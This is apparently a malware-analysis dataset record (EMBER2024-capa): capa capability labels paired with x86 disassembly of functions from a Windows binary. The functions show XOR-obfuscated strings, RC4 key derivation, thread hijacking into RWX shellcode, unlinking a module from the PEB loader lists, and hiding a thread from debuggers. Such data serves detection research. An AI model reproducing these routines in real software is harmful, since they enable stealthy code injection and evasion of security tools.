joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100028c9
Capabilities:
Encode data using xor

Disassembly:
push 0xcc
mov eax, 0x100699c2
call fcn.10035d00
mov edi, ecx
mov dword [ebp - 0xc4], edi
and dword [ebp - 0xc8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x98
mov ebx, eax
lea eax, [ebp - 0xa8]
push 0
push eax
call fcn.1004d6e0
pop ecx
lea ecx, [ebp - 0xa8]
call fcn.10002bc1
xor edx, edx
mov cl, 0x66
mov dword [ebp - 4], edx
mov al, 0x3b
movaps xmm0, xmmword [0x10080d80]
xor al, cl
mov byte [ebp - 0xac], cl
mov byte [ebp - 0xab], al
mov byte [ebp - 0xaa], dl
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xb0], 0x53287c
mov cl, byte [ebp - 0xc0]
xor byte [ebp + edx - 0xbf], cl
inc edx
cmp edx, 0x12
jb 0x10002943
lea edx, [ebp - 0xbf]
mov byte [ebp - 0xad], 0
lea ecx, [ebp - 0xa8]
call fcn.100049f6
mov esi, eax
test esi, esi
je 0x1000297b
mov eax, dword [esi]
mov eax, dword [eax + 4]
add eax, esi
or dword [eax + 0x14], 4
test esi, esi
jne 0x10002987
xor ecx, ecx
jmp 0x1000298e
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
push 0
mov dword [ecx + 0x14], eax
lea eax, [ebp - 0xd8]
push 8
push eax
call fcn.10030715
add esp, 0xc
mov edx, eax
mov ecx, esi
call fcn.10004b90
mov ecx, eax
push ebx
mov eax, dword [ecx]
mov eax, dword [eax + 4]
mov byte [eax + ecx + 0x40], 0x30
call fcn.100031ce
lea edx, [ebp - 0xab]
mov ecx, eax
call fcn.100049f6
push edi
lea ecx, [ebp - 0xa8]
call fcn.10002b62
lea ecx, [ebp - 0x58]
call fcn.10002b7e
lea eax, [ebp - 0x58]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - 0x58], vtable.std::ios_base.0
call fcn.10030775
pop ecx
mov eax, edi
call fcn.10035caa
ret

Function at 0x10002a5b
Capabilities:
Terminate process

Disassembly:
push 0x24
mov eax, 0x10069a13
call fcn.10035d00
call fcn.100021a4
test al, al
je 0x10002a77
push 1
call fcn.10052825
lea ecx, [ebp - 0x2c]
call fcn.100028c9
and dword [ebp - 4], 0
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x2c]
inc eax
push eax
push ecx
push 0xfe5d24
call fcn.1004dc80
add esp, 0xc
call fcn.1000a9f1
call fcn.1000abf0
call fcn.1000eebb
mov dword [0x1008ebb0], eax
test eax, eax
je 0x10002ac0
mov ecx, eax
call fcn.1000f042
call fcn.1000c8c9
call fcn.1000ea85
call fcn.1000f41a
push 0x70
call fcn.10035106
pop ecx
mov ecx, eax
mov dword [ebp - 0x30], eax
call fcn.1000dfef
push 0x64
mov dword [0x1008eae8], eax
call fcn.10035106
pop ecx
push 0x64
mov esi, eax
push 0
push esi
mov dword [ebp - 0x30], esi
call fcn.1004d6e0
add esp, 0xc
mov ecx, esi
call fcn.10007de3
mov dword [0x1008eaf0], eax
test eax, eax
je 0x10002b1a
call fcn.1000850e
call fcn.10009889
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.1000274f
call fcn.10035caa
ret
Function at 0x10007bbf
Capabilities:
Encode data using xor

Disassembly:
push 0x184
mov eax, 0x1006a25b
call fcn.10035d00
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x170], esi
lea eax, [ebp - 0x16f]
mov word [ebp - 0x170], 0x2a
xor ebx, ebx
lea ecx, [ebp - 0x130]
push eax
mov dword [ebp - 0x190], ebx
mov byte [ebp - 0x16f], bl
call fcn.1000289a
mov dword [ebp - 4], ebx
test edi, edi
jne 0x10007c27
lea eax, [ebp - 0x130]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.100023a2
jmp 0x10007d1a
movaps xmm0, xmmword [0x10080f10]
mov edx, ebx
movups xmmword [ebp - 0x18c], xmm0
mov dword [ebp - 0x17c], 0x767e3e76
mov dword [ebp - 0x178], 0x1b767337
mov dword [ebp - 0x174], 0x1e7669
mov cl, byte [ebp - 0x18c]
xor byte [ebp + edx - 0x18b], cl
inc edx
cmp edx, 0x1a
jb 0x10007c55
lea eax, [ebp - 0x18b]
mov byte [ebp - 0x171], bl
push eax
lea ecx, [ebp - 0x148]
call fcn.1000289a
lea eax, [ebp - 0x118]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x118], edi
push eax
mov dword [ebp - 0x114], ebx
call fcn.10052c45
cmp dword [ebp - 0x134], 0x10
lea ecx, [ebp - 0x16c]
push ecx
lea eax, [ebp - 0x148]
cmovae eax, dword [ebp - 0x148]
push eax
lea eax, [ebp - 0x110]
push 0x100
push eax
call fcn.10052d7f
lea eax, [ebp - 0x110]
push eax
call fcn.1000287d
add esp, 0x1c
lea ecx, [ebp - 0x130]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.10002804
lea eax, [ebp - 0x130]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.100023a2
push ebx
push 1
lea ecx, [ebp - 0x148]
call fcn.1000274f
push ebx
push 1
lea ecx, [ebp - 0x130]
call fcn.1000274f
mov eax, esi
call fcn.10035caa
ret

Function at 0x1000a0a3
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x1008a084]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
xor esi, esi
mov dword [esp + 0x10], 0x128
push esi
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x1000a0f7
cmp dword [esp + 0x18], ebx
je 0x1000a0fd
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1000a0e5
jmp 0x1000a100
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
mov eax, esi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100350f5
mov esp, ebp
pop ebp
ret

Function at 0x1000a1bd
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov dword [0x1008aaac], ecx
inc edx
mov esi, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [edx*4 + 0x1008aaac], ecx
inc edx
cmp edx, esi
jl 0x1000a1d2
mov dword [0x1008aaa8], esi
pop esi
pop ebp
ret 8
Function at 0x1000a268
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x1000a2b0
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x1000a278
jmp 0x1000a2bd
cmp dword [esi], 0x4e0
jb 0x1000a2bd
call fcn.1000a2f7
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret

Function at 0x1000a2f7
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x1000a307
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x1000a347
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], ebx
pop esi
pop ebx
ret
Function at 0x1000a9f1
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movaps xmm0, xmmword [0x100809f0]
movups xmmword [ebp - 0x34], xmm0
push ebx
movaps xmm0, xmmword [0x10080a50]
xor ebx, ebx
movups xmmword [ebp - 0x24], xmm0
mov ecx, ebx
movaps xmm0, xmmword [str.N_r_B_DIH__r_]
push esi
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x1000aa1e
push ebx
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], bl
push eax
push ebx
push 0x1008eb3c
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000ab02
push 0x1008eb38
push ebx
push ebx
push 0x8004
push dword [0x1008eb3c]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000ab02
movaps xmm0, xmmword [0x10080ef0]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x60386e69
movaps xmm0, xmmword [0x10080890]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x6a3c7a48
movaps xmm0, xmmword [0x100806d0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x2978725d
mov word [ebp - 4], 0x75
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x1000aaa7
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], bl
push eax
push dword [0x1008eb38]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1000ab02
push 0x1008eb34
push 0x800000
push dword [0x1008eb38]
push 0x6801
push dword [0x1008eb3c]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1000ab02
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x1008eb30], eax
call fcn.10033d40
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.10034210
mov ebx, 0x1000a931
push ebx
push 0x1008eb2c
call fcn.10033a50
call fcn.10033da0
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000ab6d
mov dword [0x1008eb2c], 0x60f6e0
call fcn.10033d40
call esi
push eax
call fcn.10034210
push ebx
push 0x1008eb2c
call fcn.100335c0
call fcn.10033da0
call fcn.10033d40
call esi
push eax
call fcn.10034210
mov ebx, 0x1000a953
push ebx
push 0x1008eb28
call fcn.10033a50
call fcn.10033da0
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000abc7
mov dword [0x1008eb28], 0x60eab0
call fcn.10033d40
call esi
push eax
call fcn.10034210
push ebx
push 0x1008eb28
call fcn.100335c0
call fcn.10033da0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d34d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1008a084]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10080d10]
push ebx
mov ebx, dword [0x1008eb90]
push esi
mov dword [ebp - 0x20], ecx
xor ecx, ecx
push edi
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x24], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xf
jb 0x1000d37a
sub esp, 0x18
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x33]
mov ecx, esp
push eax
call fcn.1000289a
lea ecx, [ebp - 0x1c]
call fcn.10030195
add esp, 0x18
xor edi, edi
test ebx, ebx
jle 0x1000d3e0
cmp dword [ebp - 8], 0x10
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000d3b8
sub esi, ecx
mov eax, edi
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x1c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x20]
xor byte [ecx + edi], al
inc edi
cmp edi, ebx
jl 0x1000d3aa
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.1000274f
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100350f5
mov esp, ebp
pop ebp
ret
Function at 0x1000d6ce
Capabilities:
Encode data using xor

Disassembly:
push 0x5c
mov eax, 0x1006a64e
call fcn.10035d00
mov esi, ecx
test esi, esi
je 0x1000d84d
xor ebx, ebx
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
push 0x20
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.10007491
mov dword [ebp - 0x30], vtable.Packet.0
xor edi, edi
inc edi
mov dword [ebp - 4], edi
cmp dword [esi + 4], ebx
jle 0x1000d79f
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x4c]
push dword [esi + 4]
mov al, byte [eax]
mov byte [ebp - 0x14], al
call fcn.1000740c
push edi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], vtable.Packet.0
call fcn.100075b6
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x20]
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c]
push eax
call fcn.1000dc07
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x4c], vtable.ByteBuffer.0
call fcn.1000754a
mov eax, dword [esi + 4]
test eax, eax
jle 0x1000d79f
dec eax
lea ecx, [ebp - 0x30]
push eax
mov eax, dword [esi + 8]
inc eax
push eax
call fcn.100075b6
cmp byte [0x1008eb58], 0
jne 0x1000d836
mov eax, dword [ebp - 0x20]
mov ecx, ebx
mov edi, dword [ebp - 0x1c]
movaps xmm0, xmmword [str.__VAEIwKBPR]
sub edi, eax
mov dword [ebp - 0x50], eax
movups xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x54], bl
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xf
jb 0x1000d7c7
sub esp, 0x18
mov byte [ebp - 0x54], bl
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.1000289a
lea ecx, [ebp - 0x48]
call fcn.10030195
add esp, 0x18
test edi, edi
jle 0x1000d82a
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
cmovae esi, dword [ebp - 0x48]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000d802
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x50]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x1000d7f4
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1000274f
lea ecx, [ebp - 0x30]
call fcn.1000d5eb
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.1000754a
call fcn.10035caa
ret
Function at 0x1000daeb
Capabilities:
Encode data using xor

Disassembly:
push 0x54
mov eax, 0x1006a68b
call fcn.10035d00
cmp byte [0x1008eb03], 0
je 0x1000dbf8
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [0x1008eb98]
sbb edx, dword [0x1008eb9c]
mov dword [ebp - 0x5c], edx
jne 0x1000db26
cmp eax, 0xbb8
jb 0x1000dbf8
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
movaps xmm0, xmmword [str.O_v._]
mov dword [0x1008eb9c], edx
xor edx, edx
mov dword [0x1008eb98], eax
movups xmmword [ebp - 0x58], xmm0
mov cl, byte [ebp - 0x58]
xor byte [ebp + edx - 0x57], cl
inc edx
cmp edx, 0xe
jb 0x1000db44
sub esp, 0x18
mov byte [ebp - 0x49], 0
lea eax, [ebp - 0x57]
mov ecx, esp
push eax
call fcn.1000289a
lea ecx, [ebp - 0x48]
call fcn.10030195
add esp, 0x18
and dword [ebp - 4], 0
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x14], 0xa1
rep stosd dword es:[edi], eax
push 0x1000
lea ecx, [ebp - 0x30]
call fcn.1000740c
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.Packet.0
call fcn.100075b6
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x14], 0xa2
call fcn.100075b6
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.100073b3
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
sub edx, ecx
call fcn.1000c5d4
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.1000754a
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.1000274f
call fcn.10035caa
ret
Function at 0x1000e050
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push edi
mov edi, dword [0x1008eae8]
call fcn.1000674a
mov dword [edi], eax
mov ecx, esi
lea eax, [edi + 8]
push eax
call fcn.100067fb
lea eax, [edi + 0x20]
xor ebx, ebx
push eax
mov ecx, esi
mov byte [esi + 4], bl
call fcn.100067fb
mov esi, eax
mov ecx, esi
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x38], al
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x39], al
call fcn.100068ae
mov ecx, esi
mov word [edi + 0x3e], ax
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x3a], al
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x3b], al
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x3c], al
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x68], al
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x69], al
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x6a], al
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x6b], al
call fcn.100068d4
mov ecx, esi
mov byte [edi + 0x6c], al
call fcn.1000674a
mov ecx, esi
mov dword [edi + 0x4c], eax
call fcn.1000674a
mov ecx, dword [0x1008eaf0]
mov dword [edi + 0x50], eax
mov byte [0x1008eb03], 1
test ecx, ecx
je 0x1000e127
mov ecx, dword [ecx + 0x20]
test ecx, ecx
je 0x1000e127
call fcn.10012ffd
mov eax, dword [0x1008eaec]
test eax, eax
je 0x1000e152
cmp byte [eax], bl
jne 0x1000e152
push ebx
push ebx
push eax
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_56
push ebx
push ebx
mov byte [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000e152
mov ecx, eax
call fcn.1000f042
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x1000eccd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1008a084]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10080810]
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], 0x39353f78
push esi
mov esi, ecx
mov byte [ebp - 0x20], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x13
jb 0x1000ecfa
lea eax, [ebp - 0x33]
mov byte [ebp - 0x20], bl
push eax
mov edx, 0x1008be48
lea ecx, [ebp - 0x1c]
call fcn.1000b5d6
mov eax, dword [esi + 0x1fc]
pop ecx
test eax, eax
je 0x1000ed2d
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x8010
cmovae eax, dword [ebp - 0x1c]
push ebx
push ebx
push 1
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1000ed67
mov dword [esi + 0x14], eax
cmp byte [esi + 0x200], bl
je 0x1000ed67
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push ebx
push 1
lea ecx, [ebp - 0x1c]
call fcn.1000274f
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.100350f5
mov esp, ebp
pop ebp
ret
Function at 0x1000eebb
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1008a084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x2f4], 0x120a2c7e
push esi
mov cl, 0x7e
mov dword [ebp - 0x2f0], 0x1a1f1132
mov dword [ebp - 0x2ec], 0x170c0a2d
mov eax, ebx
mov word [ebp - 0x2e8], 0x1910
mov byte [ebp - 0x2e6], bl
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x1000ef18
mov cl, byte [ebp - 0x2f4]
jmp 0x1000ef03
mov byte [ebp - 0x2e6], bl
mov cl, 0x56
mov dword [ebp - 0x2e4], 0x32223856
mov eax, ebx
mov dword [ebp - 0x2e0], 0x32783a3a
mov word [ebp - 0x2dc], 0x3a3a
mov byte [ebp - 0x2da], bl
xor byte [ebp + eax - 0x2e3], cl
inc eax
cmp eax, 9
jae 0x1000ef5a
mov cl, byte [ebp - 0x2e4]
jmp 0x1000ef45
lea eax, [ebp - 0x2f3]
mov byte [ebp - 0x2da], bl
push eax
lea eax, [ebp - 0x2e3]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1000ef8c
xor eax, eax
jmp 0x1000f032
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000ef85
push 0x2cc
lea eax, [ebp - 0x2d8]
push ebx
push eax
call fcn.1004d6e0
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000ef85
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000ef85
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000ef85
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001a38
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000ef85
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.100350f5
mov esp, ebp
pop ebp
ret
Function at 0x1000f042
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], 0x818026c
push esi
mov esi, ecx
mov dword [ebp - 8], 0x8420000
push edi
mov cl, 0x6c
mov word [ebp - 4], bx
mov byte [ebp - 2], bl
mov eax, ebx
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 9
jae 0x1000f077
mov cl, byte [ebp - 0xc]
jmp 0x1000f068
lea eax, [ebp - 0xb]
mov byte [ebp - 2], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1000f08e
xor al, al
jmp 0x1000f0e3
movaps xmm0, xmmword [0x100804b0]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x8122e14
mov dword [ebp - 0x10], 0x1e1b1f
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x16
jb 0x1000f0a9
lea eax, [ebp - 0x23]
mov byte [ebp - 0xd], bl
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000f08a
test esi, esi
jne 0x1000f0d6
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push ebx
push ebx
push 0x11
push esi
call edi
neg eax
sbb al, al
inc al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000f0ea
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000f124
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000f128
cmp edx, esi
jne 0x1000f10d
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000f148
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000f14c
cmp edx, esi
jne 0x1000f131
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000f16c
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000f170
cmp edx, esi
jne 0x1000f155
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret